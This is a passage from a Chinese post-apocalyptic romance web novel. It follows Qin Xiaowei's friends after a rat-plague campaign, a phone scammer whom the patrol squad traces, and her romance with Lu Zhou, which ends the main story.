离Q省比较近的几座城市还好，因为老鼠一直在往Q省跑，有Q省帮着“分流”，鼠灾虽然严重，但至少地下城还有活人，灭鼠队花了些时间，和当地人一起努力，也把情况控制住了。 但越是远离Q省，情况就越严重…… 很多城市，市政的管理人员解散，原住民都跑得差不多了，城市几乎变成了空城……就连□□，都不愿意留下争地盘！ 尸体腐败得太厉害，再加上被老鼠啃噬过，变异出了不少厉害的病毒，就算队伍出发之前，人人都打了疫苗，但每天依旧有人病倒。 听陆昼说，省里那边原本是打算继续增派人手，把鼠灾从根源上解决的，但鼠灾波及的面积实在是太大了，再派人过去，可能是肉包子打狗，有去无回。 上面开了几天会，最后决定放弃这个想法，选用别的方案。 他们决定在Q省周边建立一道高压电网隔离带，把鼠群和病毒挡在隔离带后面。 这事很重要，上面做好决定后，就开始安排人施工。 上面一次次下文件，强迫他们接纳其他省市的难民，Q省现在最不缺的就是劳动力，Q省各市发了招工公告之后，很快就招够了人，隔离带以肉眼可见的速度建成…… 除了Q省，隔壁一些情况得到控制的城市，也打算建高压隔离带，拦住鼠群——末世这几年，Q省的情况现在算是国内最好的，他们都觉得，照着抄作业肯定不会错。 不过，隔离带开始施工之后，段霞他们依旧没回来。 听上面的意思，除了高压隔离带，他们还打算清几座空城当缓冲区，形成几重“防护”，减少Q省的危险。 至于更远的城市，Q省也无能为力，只能靠还活着的人，自己想办法熬过去了…… 可能是因为段霞他们一直在外面兢兢业业地杀老鼠，最近这一个月，Q省的老鼠似乎真的少了很多……至少同城APP上现在抱怨半夜家里发现老鼠的网友少了很多。 外界的纷纷扰扰似乎都和宁市无关，一座座工厂和房屋在废墟之上拔地而起，每天都有大量的物资从地下城进进出出。 宁市这座城市，在经历了两年多的黑暗后，正在一点点被重新点亮！ 连着跑了一个月，肖琳琳他们的运输队，不仅熟悉了路线，和对接的人也熟悉了…… 连着跑了几趟，确定这活稳了之后，她也不像刚回来的时候那么着急了，每次回来，都会休息个一两天，再继续出车。 这天晚上，秦小薇下班后，并没有回家，而是和陆昼去了地面上一家新开的甜品店。 自从陆昼发现，秦小薇不排斥他接她下班后，他只要晚上没工作，就天天去健身房接她下班，有时候中午还会来找她一起吃中饭，连带着健身房的员工都眼熟他了。 教练们问秦小薇他们的关系的时候，秦小薇也没隐瞒，直说他在追自己。 至于为什么追这么久还不答应，秦小薇觉得，陆昼这家伙太会得寸进尺、顺杆子往上爬了。 按照她对他的了解，真要是给了他“名分”，他估计当天就会把情侣之间能做的事都做了，第二天就把见家长的事提上日程…… 她还挺喜欢现在的状态，至于更进一步……之后再说吧！ 甜品店门口的服务员还没说话，秦小薇就主动开口道：“我的狗不会随便乱尿，也不会乱叫咬人，要是弄脏、弄坏了什么东西，我会照价赔偿……” 她的语速很快，俨然是对这一套流程非常熟悉的模样。 听秦小薇这么说，服务员也没说宠物不准进店之类的话，只冲着她做了个“请进”的手势。 她到店里的时候，陆昼已经点好甜点了。 陆昼：“泡芙就只剩一份了，我怕被其他人买走了，就先点了，你尝尝……” 秦小薇应了一声，拿起一个泡芙，就直接咬了一口。 绵密的奶油立刻在口腔里爆开，泡芙之前应该是冷藏保存的，里面的奶油有些凉，但味道还不错。 看到她脸上的笑容，陆昼忍不住逗她：“和我一起吃甜点，这么开心？” “你也太自恋了。”秦小薇翻了个白眼，她把剩下半个泡芙塞进嘴里，托腮看着外面街上人来人往的行人，“我只是觉得下班之后，能找家小店，享受一顿美食，看着大家热热闹闹地逛街、吃饭，真的很幸福……” 放在几年前，这是非常寻常的一件小事，但这几年，这已经成了奢望。 因此，她才会在重新拥有之后，觉得格外珍贵。 陆昼笑了起来：“放心吧！我们以后还有很多这样的机会！” 在他的记忆里，之后几年，宁市会被战争和各种传染病肆虐，偶尔还会爆发几场天灾…… 但现在，战争已经被国家机器拦在边境线之外，顺利的话，各种传染病也会被拦在Q省的防线之外。 至于那些偶尔爆发的天灾，和他们前几年经历的那些天灾，根本没法比，有之前的经验在，市政很有信心，带着大家一起渡过难关…… 两人胃口都很好，很快就解决了桌上的甜点。 秦小薇：“继续去下一家，还是回去吃？” 陆昼看着地上的德牧，弯了弯唇角：“回去吧！再待下去，朔月就要挣脱嘴套， 把桌子腿给吃了……” 秦小薇低头看了一眼，朔月果然在盯着桌上的空盘子流口水。 她拿了一旁的外套：“那咱们回去吧！你想吃什么？” “烤肉。”他凑近她一些，小声开口道，“想在船上吃……” 秦小薇抬头看他：“你不怕有人找过来，发现我们不在家？” 宁市一切百废待兴，正是赚钱的好时候，现在不插一脚，以后想要分蛋糕，就困难了，因此，陆昼这段时间除了市政的工作，还得忙家里的事。 上次他们心血来潮，在空间里砍了些木头，用农家土灶搞了一大锅铁锅炖大鹅，吃得有些晚，结果有个工程遇到了紧急情况，陆昼的助理找不到他拿主意，还以为他被绑架了，急得差点报警。 陆昼保证道：“我都安排好了，上次的事，肯定不会再发生第二次……” 秦小薇这才点头：“行吧！那就吃烤肉！” “汪——”见他们终于要回去了，朔月率先冲了出去。 第143章 第143章暴瘦 到家后,他们转战秦小薇的空间，在船上吃了顿烤肉，连带着德牧和拉布拉多也吃了不少没放调味料的烤肉。 出来后,秦小薇看到宿舍群里多了数条新消息。 【段霞：我们这边在收尾,明天就能回去了！】 【段霞：这次回去,升职的事应该稳了！】 【范槿：阿霞，你还惦记升职的事呢？我天天在系统里看他们统计的数据,我都替你发愁,担心你会半路病倒……】 【段霞：可是我这趟深入疫区就是为了升职啊！】 【段霞：猫猫踹手.jpg】 【肖琳琳：你们速度好快，竟然三天就解决战斗！是不是熟能生巧了？】 【段霞：不是,因为我们加大了老鼠药的投放剂量，用无人机全城喷淋老鼠药，然后刚好碰到了一场大雨……雨停的时候,外面街上几乎全是老鼠尸体。】 【段霞：除了老鼠,一些蚂蚁苍蝇之类的，也被毒死了。】 【段霞：我听说，上面还打算联合附近几座城市,定期用无人机投放老鼠药。】 【段霞：这边的水源肯定是废了。】 【肖琳琳：至少不是在Q省省内投放了，我现在去超市买水都得看生产日期,生怕买到有毒的中招。】 【秦小薇：阿霞,你什么时候能到宁市？】 【段霞：有些路段不好走，得绕路，估计要两三天。】 三天之后,段霞终于回了宁市，秦小薇几人原本是打算去接人的，但他们要体检还要隔离，段霞就没让她们去。 秦小薇知道,她们是从疫区回来的，也就没有坚持。 但之后一连两三天，她都没有音信，群里的消息也一直没回，秦小薇担心她出事，就戴上口罩找去了隔离点。 问了值班的医生才知道，他们这趟累狠了，很多人做完了检查之后倒头就睡，饿醒了就啃能量饼干，填饱肚子之后，继续睡，段霞可能还没睡够…… 从隔离点出来之后，秦小薇打开手机，和范槿、肖琳琳说了这件事。 【范槿：她这一个多月估计是没怎么休息，我妈有时候出车回来，能连着睡24小时，连饭都不吃……】 【肖琳琳：薇薇，阿霞人没事吧？】 【秦小薇：刚回来那天发烧了，但现在烧已经退了，医生说没事了，各项指标都是正常的，隔离满一周，就可以出院了。】 一转眼，一周的隔离时间就到了，秦小薇她们终于见到了段霞，段霞比一个多月前瘦了很多，眼睛都凹陷下去了，脸色也蜡黄蜡黄的，和出发前简直判若两人。 如果不是她精神还不错，隔离点的检查报告也没什么问题，秦小薇都以为她生了什么大病…… 秦小薇看着她身上不再合身的制服皱眉：“阿霞，你怎么瘦了这么多？” 段霞不怎么在意自己的状态：“尸体太臭了，刚开始那两周，吃什么吐什么，就瘦了。要不是干活的时候没力气，我逼着自己塞了点能量饼干，估计会瘦得更多……” “阿霞，你受苦了！”肖琳琳伸手勾住她的脖子，“我这两天休息，从明天开始，我就带着你去外面大吃大喝，保准把你掉的肉养回来！” 段霞：“别选太贵的店啊！我工资可没你那么丰厚……” 肖琳琳：“没事，我请你！” 不过肖琳琳给段霞制定的“长肉计划”只折腾了半天，就胎死腹中了——段霞太忙了，压根没时间和她一起出去吃吃喝喝。 回来之后，她如愿升职了，但是手头上的工作也更多了，这次外出，有些队员牺牲了，她要忙抚恤的事，新工作也有很多业务不熟练，需要她和前辈请教、摸索……她在事业上对自己的要求一向很高，根本没有慢慢来的想法。 一天24个小时，她有18个小时都泡在工作里。 她连睡眠时间都不够，更别说出去吃饭了…… 最后还是她妈妈见她状态不对，找秦小薇她们帮忙劝段霞，她们才知道这事。 肖琳琳要出车，秦小薇便和范槿商量着，她俩轮流来，监督段霞吃饭，直到她的生活节奏变正常…… 因为秦小薇要给段霞送饭，陆昼来找她的时候，时常扑空，他的怨念非常深。 陆昼：“你室友家里没人吗？怎么天天要你送饭？” 秦小薇在厨房里打包饭菜，闻言头也不抬地回道：“她爸妈工资不高，赚的钱都给儿子攒着娶媳妇了，买一斤肉能吃一个月，让他们给阿霞送饭，菜里也就一点荤腥，蔬菜都是水煮的，阿霞现在需要营养，哪经得起他们这么折腾……” 秦小薇用保温饭盒打包了一大份米饭和两菜一汤，她想了想，觉得不够，又洗了些草莓。 陆昼：“我也要一份便当！” 秦小薇：“行啊，你自己装，我多做了一些……” 陆昼：“我要你亲手打包的。” 他刻意加重了“亲手”两个字。 秦小薇看了他一眼，无语道：“你幼不幼稚？” 陆昼靠近她，问道：“那你会满足我吗？” 他刻意压低了声音，眼眸有些幽暗，他凑得太近，厨房里的气氛，无端变得有些暧昧，他那表情，倒不像是在说便当，而是别的什么东西…… 秦小薇被他的视线盯得耳热，见他的眼 神逐渐变得迷离，嘴唇也凑了过来，她胡乱把手里的便当盒塞进他怀里：“你快回去，我要出发了！” 陆昼无奈地站直身体：“要我送你去吗？” 秦小薇：“然后压塌我的小电驴吗？” 陆昼体重不轻，每次他坐上小电驴后座的时候，车都会猛震一下，秦小薇时常调侃，说他们仨的体重，迟早会把车胎压爆…… 陆昼：“坏了送你台新的。” 秦小薇：“我和小红处出感情了，暂时还不想换了它……行了，我真要出发了，你也回去吧！对了，朔月在你那放一会儿，我晚点去接它……” 陆昼：“知道了，早点回来！” 等到了巡逻队的办公楼，秦小薇却发现，段霞今天没留在地下城处理工作，而是去了地面上的总部。 巡逻队在地上地下都有办公楼，只不过前两年低温，巡逻队的队员都不是做办公室的，他们大部分时间都在外面出外勤，只有晚上回来汇报工作和平时开会的时候，才会用到办公大楼。 往返地面和地下城不方便，所以低温之前，市政就专门在地下城划了一栋楼，让他们开会办公。 不过现在积雪融化了，地面巡逻也成了他们的工作之一，那几栋闲置的办公大楼也就被重新启用了，管理人员也经常需要两边跑…… 秦小薇给段霞打了个电话，段霞让她把饭盒放办公室里，她过会儿就回来吃。 秦小薇知道，她嘴里的“过会儿”只是一个虚词，她要是真忙起来，估计今晚就直接在总部的办公室睡了！ 她想了想，还是决定去找段霞，把饭送到她手上。 反正她开车过去，也花不了多久。 地面上巡逻队办公大楼的出入比地下城严格很多，要不是她刚好碰到一个眼熟的队员，保安都得给段霞打电话，等那边确认了，才会放她进去。 段霞开门的时候非常惊讶：“薇薇，你怎么来了？” 秦小薇晃了晃手上的便当盒：“来给你送饭……工作什么时候都能忙，先吃饭！” 说着，她走进办公室，不由分说地合上了她桌上的文件夹。 “哎，我马上就看完了……”在秦小薇的注视下，段霞渐渐消音。 秦小薇打开便当盒，把饭菜摆在桌上，和她一起吃晚饭：“快吃吧！吃完了就能继续干活了！” 段霞：“我真的没事，你和饭饭真的太夸张了！” 秦小薇翻了个白眼：“我们夸张吗？你也不看看，你自己的身体都被你造成什么样了？” 段霞之前在钢材厂的仓库干活，虽然没干多久，但那边的活太累，给她的腰椎留下了不可逆的伤害。 她才二十几岁，现在家里就囤了一堆膏药，时不时就得来一贴。 这次深入疫区，可能是因为瘦得太快，再加上工作辛苦、压力大，她又大把大把地掉头发，这才一个多月，她的发量，就比之前少了三分之一。 要不是看她状态实在是差，秦小薇和范槿也不会特意抽出时间，每天过来监督她吃饭。 段霞：“我错了……薇薇，你别生气，我马上就吃！” 秦小薇：“知错不改，下次还敢是吧？” 段霞冲着她笑了笑，没有接话。 秦小薇：“你这活什么时候能捋完？之后能申请休假吗？” 段霞：“不知道……但我这周末应该不用加班，可以留在家里睡大觉！” 秦小薇点点头，没有多说什么，她没劝她停下来，她知道，段霞和范槿不一样。 范槿无论如何，她爸妈都会想办法给她兜底，她家里也有积蓄，就算她失业在家了，范爸爸和范妈妈也会毫无怨言地养着她。 但段霞不一样，她和家人的关系虽然没那么僵持，但她爸妈的心始终是向着他弟弟的，她的未来，只能靠她自己。 段霞：“这排骨好香，熘肝尖也好吃……薇薇，你怎么天天都能买到肉？” 地下城扩大了家禽牲畜养殖规模，郊区甚至建了不少养殖场，但供应依旧不是那么充足，超市依旧限购，超市开门一个小时后，肉类基本上就都卖空了。 外面那些商贩想要多买肉，都得找关系走后门。 秦小薇：“因为我抢不到就花钱买！” 段霞：“……太费钱了。” 秦小薇无意间瞥到桌上的文件，“咦”了一声：“巡逻队要扩招？” 段霞“嗯”了一声：“省内某些地区还是不安全，但咱们Q省现在是一体的，最近也有不少外地人搬来宁市……上面考虑到这些人里面可能混了些作奸犯科的，开会讨论后，决定把最近的工作重心放在抓治安上。” “咱们现在的人手不够，所以要再招一批……” 之前雪还没化完的时候，也有其他城市的人来宁市，但地下城出入严格，他们就算来了，也没住的地方。 但现在，外面有很多废弃倒塌的安全屋，修一修就能住，还有无数新建的房子……地面上管理不像地下城这么严格，他们想在宁市安家，还是挺容易的。 吃完饭之后，秦小薇重新收拾好便当盒，就离开了。 外面的天已经黑了，办公楼外是一片非常空旷的操场，操场周围亮着路灯，此时还有不少巡逻队的队员，正在操场上训练。 他们穿着作训服，每个人看起来都非常精神…… 秦小薇盯着他们看了一会，手机却忽然响了起来，是个陌生电话，号码是宁市的。 秦小薇：“喂？” “薇薇姐，你最近还好吗？”电话那头，是个陌生的男声。 秦小薇：“你哪位？” 陌生男声：“我逍遥啊！咱们前几年，一起玩过游戏的，你不记得了吗？” 秦小薇皱眉回忆了一下，她前几年玩过不少游戏，也和不少人组过队，但“逍遥”这个名字，她真没什么影响。 秦小薇：“没什么印象……你有什么事吗？” 陌生男声：“好几年了，你不记得也正常……最近我联系上了咱们之前一起打游戏的几个人，建了个群，现在宁市情况不是好一些了吗？我就想着，咱们可以聚一聚……” 听着他的描述，秦小薇察觉到了不对。 忽然出现一个陌生人自称是她的朋友，还要和她线下联系……一听就感觉有所图谋！ 她又问了对方几句细节，他的回答和秦小薇的经历都对不上，她觉得自己可能遇到了电话诈骗，胡乱敷衍了几句，就挂断了电话。 正在这时，巡逻队一个队员路过，她之前和范槿她们一队，和秦小薇还算熟悉，和她打了招呼后，见秦小薇表情不对，便问她怎么了。 秦小薇也没瞒她，便把自己刚刚的经历一五一十地说了。 “你把电话号码给我，我帮你查一下……最近宁市确实有这种案子！唉，雪化之后，大家不用被关在地下城，一些牛鬼蛇神也开始冒头了……”【你现在阅读的是 】 第144章（正文完） 第144章 第144章模型 简单聊了几句,那位队员就拿出手机，登录系统，输入秦小薇给的手机号码。 片刻之后,她冲着秦小薇开口道：“这个号主是个七十多岁的奶奶,一年多前就因为流感死了……那个人应该是走黑市买了号码,我定位下他的位置，看看能不能找到他,搞清楚他的目的。” 让她晚上加班,秦小薇有些不好意思：“麻烦你了，下次请你吃饭！” 她摆了摆手：“不用！让附近巡逻的队员顺路跑一趟就行了,你之前也帮了我们队很多……” 她说的是前两年在地下城的时候，秦小薇帮她们队弄物资的事，包括各种稀缺的肉类、兔皮、羊毛线、棉花、药品…… 虽然秦小薇收了钱,但当时,那些东西有价无市，秦小薇愿意帮她们弄到物资，也算是帮了她们大忙。 “唉,找到了！在江安区，我看看附近有没有系统里的小伙伴……” 一通操作之后,巡逻队很快就确 认了对方的信息,那人果然是个骗子，至于为什么给秦小薇打电话，纯粹是广撒网捞鱼,秦小薇的信息和号码则是他在网上买的数据包…… 不过，就算对方是广撒网，骗术也很低级，依旧有人上当受骗。 那位队员又给秦小薇补了个报案记录和笔录,就让她回去了，说江安区那边会处理那个骗子。 秦小薇觉得，那人也真是傻，竟然在本市搞电话诈骗，这不是一抓一个准？ 到家后，她把便当盒扔进洗碗机里，坐在沙发上打开手机，和室友们吐槽了这件事。 【范槿：我听说最近这种案子挺多的，都是其他市的人干的，因为他们的钱在咱们这不好使，银行又不给换新币，他们就只能搞些歪门邪道……】 为了保证宁市的发展和普通人的物资供应，宁市现在只流通新币，旧币拿过来，就是一堆废纸。 除了他们宁市，Q省还有其他地下城也搞了新币，不过每个地下城的新币都不一样，宁市想和他们交易，只能以物易物。 不过，旧币也不是一直没用，如果灾难能彻底结束，国内的社会秩序能恢复，未来某一天，市政或许会开放新币和旧币的兑换。 毕竟，他们属于同一个国家……地下城启用新币，也是无奈之举。 【范槿：薇薇，你今天给阿霞送饭了吗？】 【秦小薇：送了，我和她一起吃的，刚从你们总部的办公大楼回来。】 【范槿：OK！】 【范槿：我定个闹钟，明天早点去超市抢菜。】 【秦小薇：行，中午我去你家做饭。】 范槿的厨艺不行，蔬菜只会做水煮菜蘸酱，肉菜……除非是直接扔锅里炖汤，否则她做出来的菜，大概率是黑暗料理。 为了段霞的胃着想，这几天，轮到范槿送饭的时候，都是她提前把菜洗好切好，秦小薇再去她家把菜做好。 【范槿：不用，我爸明天轮休，他可以帮忙做饭。】 【秦小薇：那我明天可以偷懒了！】 【肖琳琳：还好，那个骗子只是隔着电话骗你，不是当面拿刀砍你。】 【秦小薇：说不定呢……他还约我线下见面来着。】 【肖琳琳：我爸妈他们明天到宁市，但是我这趟车后天才能回来，薇薇、饭饭，你们能不能帮我接下我爸妈和我哥？】 肖琳琳的爸妈在隔壁省，前几年，老家的情况虽然也不太好，但熬一熬，也能熬过去，再加上人离乡贱、宁市很排斥“外来者”的原因，他们也就没有搬家的念头。 但最近这几个月，因为鼠灾，他们老家的情况越来越差，他们合计了一下，还是决定先来女儿这住一段时间，之后要是情况恢复了，再搬回去。 【范槿：叔叔阿姨明天几点到？】 【肖琳琳：他们说中午到，我把你们的电话给我哥，让他到了联系你们？】 【秦小薇：给我的吧！明天中午饭饭要去找阿霞。】 【肖琳琳：OK！】 【肖琳琳：薇薇，我爸妈他们就拜托你了，等我回去了给你带特产。】 【秦小薇：猫猫期待.jpg】 第二天中午，十一点五十的时候，她接到了陆昼的电话。 陆昼：“中午一起吃饭？我在隔壁粥水店等你。” 秦小薇：“我中午有点事，明天再说吧！” 陆昼沉默了片刻，幽幽道：“你明天要给室友送饭……” 秦小薇：“……那后天？” 陆昼立刻回道：“约好了，不许反悔！” 秦小薇：“嗯。” 挂断电话没多久，肖琳琳哥哥的电话就打了过来，问清楚他们的位置后，秦小薇立刻离开了地下城。 等看到肖哥哥、肖爸爸以及肖妈妈的状态后，秦小薇震惊了：“叔叔阿姨，你们蹬三轮车过来的？” 骑三轮车跨省……他们的大腿还好吗？ 肖哥哥叹了口气：“本来想坐车过来的，但一直没联系上……我爸妈怕再拖下去会出事，就搞了个二手三轮车，骑车过来了。” 三轮车是肖爸爸和肖哥哥轮流骑过来的，三轮车上除了人，还堆了许多行李，连车胎都被压得有些瘪了。 这活实在是废腿，肖哥哥从三轮车上下来的时候，走路都是叉开腿走的，两条腿更是肉眼可见地在打颤…… 秦小薇让他们休息了十来分钟，才冲着几人开口道：“肖哥，琳琳给你们租了房子，我现在带你们过去吧！” 肖爸爸：“这日头太晒了，等到了地方，咱们再休息……” 他们是外地人，进不去地下城，肖琳琳便让秦小薇帮忙把关，在地面上帮他们租了套房子，距离地下城大概二十五分钟的车程，屋子里只有一些简单的家具，但对于这两年都在地下城挤公租房的三人来说，算是非常“豪华”了。 其实肖琳琳和范妈妈他们还在地面上“拼”了一块地建房子，那套房子的面积比这套大好几倍，但工地还在施工，他们暂时只能在外面租房子。 肖哥哥很久都没有体会到一个人住一间房的感觉了，看到肖琳琳竟然给他准备了单独的房间，他十分兴奋，硬是拖着还在打颤的腿在屋里转了好几圈…… 因为路上一直在蹬三轮车，两个大老爷们的腿现在全废了，搬行李的活，基本上是肖妈妈和秦小薇干的。 搬完了东西，秦小薇还去后备箱里拿了一大袋能量饼干上来：“叔叔阿姨，你们是外地人，在咱们这儿的正规超市买不到吃的，只能在网上买加价的食物，这些能量饼干你们今天先将就着吃，我明天再给你们送点别的肉菜米面……” 肖爸爸摆摆手：“小薇，你能来接我们，我们就很感谢了……我们来之前在地下城收了不少土豆大米和能量饼干，够我们吃一段时间了！” 秦小薇又留了一会，和他们说了在宁市生活的注意事项。 比如说不要去河里取水；看到脸上有疤、长得吓人的人尽量不要和他们交流；有问题随时打电话，肖琳琳在巡逻队和警察局都有熟人，大部分事都可以摆平，他们不用怕被人欺负…… 一转眼，时间又过了两周，肖琳琳的家人渐渐在宁市安顿了下来，肖琳琳还给她爸爸和哥哥找到了一份修铁路的工作。 省内很多城市都在通商，光靠卡车运输效率太低了，很多城市都在重修铁路。 除此之外，宁市 依旧在大搞基建，之前的地震把宁市破坏得太彻底，再加上市政鼓励大家重建宁市，出台了不少相关政策，地面上现在除了一些官方参与的大型基建项目，还有很多私人的小工地，非常热闹。 秦小薇估计，这种情况还会持续很久…… 因为省内不再大剂量投放老鼠药，水源中的各项有害指标迅速下降，据陆昼说，统计数据显示，最近这一个月，因为老鼠药中毒住院的患儿的数量正在迅速下降。 至于外省的老鼠窝，他们也没有完全坐视不理，工厂出产的老鼠药，百分之八十都被运出了省，根据之前的经验，省里还派了一队气象专家过去，专门等有雨的时候，用无人机投放超大剂量的老鼠药，让它们随着水流，蔓延至城市的各个角落…… 虽然派出去的人有点少，动手的频率也很低，但他们每次动手，都能消灭不少老鼠。 这方法虽然会大面积污染水源和土地，但灭鼠效果堪称立竿见影，几乎每次雨后，城里就会多出一堆老鼠尸体。 虽然外省投放的老鼠药，也可能会随着水流进入Q省，但从保护现存公民的角度来说，这种做法，其实是利大于弊的！ 且因为Q省周围多了两道由老鼠药和高压电网构成的“防护带”，外省那些蟑螂、蚊子、蜈蚣之类的虫子都没能过来。 检测人员反馈的信息显示，那些虫子，在途经那些撒了老鼠药的空城的时候，就死得差不多了…… 秦小薇也没闲着，在监督段霞吃饭、去健身房上班之外，她又开始筹备新店了。 不过，这次不是健身房，而是一家“杂货铺”，主要卖空间农场里出产的东西。 农场有黑科技，生产东西的速度非常快，这些东西她一个人根本消耗不完，某次他和陆昼一起聊天的时候，聊到了这件事，陆昼便鼓励她，让她试试……就当是替以前的自己完成梦想了。 秦小薇算了成本，发现就算店铺倒闭了，她也不会亏太多，便开始行动了。 说实话，这段时间周围的人都在搞事业，她自己也有点紧迫感。 段霞为了升职的事拼死拼活；肖琳琳因为建房子花了不少积蓄，也在努力跑运输，还打算自费买两辆车编入车队增加自己的收入；陆昼虽然每天都来找她，但也没耽误他建厂、投资赚钱；别墅区那些邻居就更不用说了，各个都铆足了劲抢占市场，努力赚钱…… 这天晚上，陆昼过来接她下班的时候，手里还提着一个特别大的礼盒袋。 秦小薇指着袋子问陆昼：“你手上提的是什么？” 陆昼：“模型拼图，朋友送的，晚上一起拼？” 秦小薇想了想，她今晚倒是也能抽出一两个小时的时间玩这个，便点头答应了：“行啊！” 到家后，陆昼忽然开口道：“秦小薇，你就不问问送我模型的朋友男的女的？” 秦小薇：“你都这么说了，肯定是女的。” 陆昼还在等她的下文，见她只专心给狗擦脚，他的眉头皱了起来：“没了？” 秦小薇：“什么？” 陆昼：“你不问问送礼物的人和我什么关系？怎么认识的？” 秦小薇手上的动作顿了顿，片刻之后，她头都没抬地回了一句：“我查户口啊？” 陆昼气结，伸手狠狠揉了下她毛茸茸的发顶发泄情绪，秦小薇正蹲在地上给德牧擦脚，他这么一用力，她差点栽到朔月身上去了。 秦小薇伸手就要捶他：“陆昼，你又想挨揍是不是？” 挨了两拳，陆昼反而“老实”了，乖乖去厨房淘米做饭。 吃完饭之后，两人搬开客厅的沙发，坐在地毯上拼模型，模型的零件太多，周围的地毯几乎全被占据了。 陆昼：“店里什么时候开业，我带人过去捧场？” 秦小薇：“这么殷勤？” 陆昼：“追女朋友，不殷勤点怎么行？” 从陆昼过生日到现在，已经好几个月了，这几个月，他们虽然有些亲密接触，但这还是他第一次，提到“女朋友”三个字，之前都是明里暗里的暗示要名分。 秦小薇有些惊讶：“你……” 陆昼放下手上的零件，起身靠近她，他的胳膊撑在她身体两边，让她无处可逃，眼神更是侵略性十足. 陆昼：“秦小薇，别装傻了，你今天必须给我一个答案！” 两人离得很近，秦小薇可以在他的桃花眼里，清晰地看到自己的倒影，她原本还有些别的心思，听他这么说，她忽然起了逆反心理。 秦小薇：“要是我给的答案不是你想要的呢？” 陆昼：“……” 他坐了回去，瞬间从攻击力十足的大型犬变成委屈小狗，他沮丧道：“那我明天再问一遍。” 看到他这个样子，秦小薇忽然笑了起来，她凑过去，在他唇角亲了一下：“笨蛋。” 陆昼豁然睁大眼睛，从脸颊到脖子全都红了，他拿着零件的手停在半空中，像是被按下了暂停键，过了好一会，他才找回自己的声音：“你……” 秦小薇轻咳一声：“所以，送你模型的人和你什么关系？” 陆昼：“原来你还是在意的。” 秦小薇：“少废话，快说！” 陆昼：“我妈送的……” 秦小薇：“陆昼，你这个心机狗！” 陆昼：“我错了。” 德牧和拉布拉多，在客厅的另一边玩玩具，在暖黄灯光的照耀下，屋里的气氛多了几分温馨。 （正文完）【你现在阅读的是 】